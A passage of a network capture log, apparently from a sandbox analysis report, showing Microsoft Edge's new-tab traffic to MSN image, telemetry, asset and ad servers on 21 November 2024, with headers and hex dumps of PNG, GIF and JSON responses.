2024-11-21 18:58:52 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49810	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:52 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=327485 Expires: Mon, 25 Nov 2024 13:56:56 GMT Date: Thu, 21 Nov 2024 18:58:51 GMT Connection: close
2024-11-21 18:58:52 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49813	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:52 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=213389 Expires: Sun, 24 Nov 2024 06:15:21 GMT Date: Thu, 21 Nov 2024 18:58:52 GMT Connection: close
2024-11-21 18:58:52 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49811	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:52 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=412064 Expires: Tue, 26 Nov 2024 13:26:36 GMT Date: Thu, 21 Nov 2024 18:58:52 GMT Connection: close
2024-11-21 18:58:52 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49812	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:52 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=310758 Expires: Mon, 25 Nov 2024 09:18:10 GMT Date: Thu, 21 Nov 2024 18:58:52 GMT Connection: close
2024-11-21 18:58:52 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49814	18.173.219.84	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	1012	OUT	GET /b2?rn=1732215528921&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25D6022CE12A6CAA01731712E02D6DC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1029bb211dbb5e42e166b331732215529; XID=1029bb211dbb5e42e166b331732215529
2024-11-21 18:58:52 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 21 Nov 2024 18:58:52 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a3cc1cfce2f0f18de36e3834e18556b8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: c9epHJ4cD4CR2LVQyQJjTsYC8ZaVq0vKiZ0Mabugla65bAjPp_A9Bg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49815	20.110.205.119	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:52 UTC	1261	OUT	GET /c.gif?rnd=1732215528920&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=8265b0b992de4911b760720b63d8fc7c&activityId=8265b0b992de4911b760720b63d8fc7c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=33A8BC1BE0FE44F8830930B93569D647&MUID=25D6022CE12A6CAA01731712E02D6DC5 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; SM=T
2024-11-21 18:58:52 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=25D6022CE12A6CAA01731712E02D6DC5; domain=.msn.com; expires=Tue, 16-Dec-2025 18:58:52 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=25D6022CE12A6CAA01731712E02D6DC5; domain=c.msn.com; expires=Tue, 16-Dec-2025 18:58:52 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 18:58:52 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 21-Nov-2024 19:08:52 GMT; path=/; SameSite=None; Secure; Date: Thu, 21 Nov 2024 18:58:52 GMT Connection: close Content-Length: 42
2024-11-21 18:58:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49821	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:53 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:53 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:53 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 4923145b-f01e-0036-2047-3cc555000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185853Z-178bfbc474bv7whqhC1NYC1fg400000001t000000000zt0r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:53 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49816	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:53 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:54 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:53 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: e2797b0a-201e-0070-4447-3c1bc3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185853Z-r1d97b99577n4dznhC1TEBc1qw0000000ax0000000001b46 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:54 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49822	23.96.180.189	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:53 UTC	1018	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=25D6022CE12A6CAA01731712E02D6DC5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=5ef444155d1b46c7d9aaf7a2c6a17da2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-21 18:58:54 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2760 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132731-T700343875-C128000000002114869+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114869+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Nov 2024 18:58:54 GMT Connection: close
2024-11-21 18:58:54 UTC	2760	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 52 69 6f 20 64 65 20 4a 61 6e 65 69 72 6f 2c 20 42 72 61 7a 69 6c 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 52 69 6f 2b 64 65 2b 4a Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Rio de Janeiro, Brazil\",\"cta\":\"https:\/\/www.bing.com\/search?q=Rio+de+J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49824	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
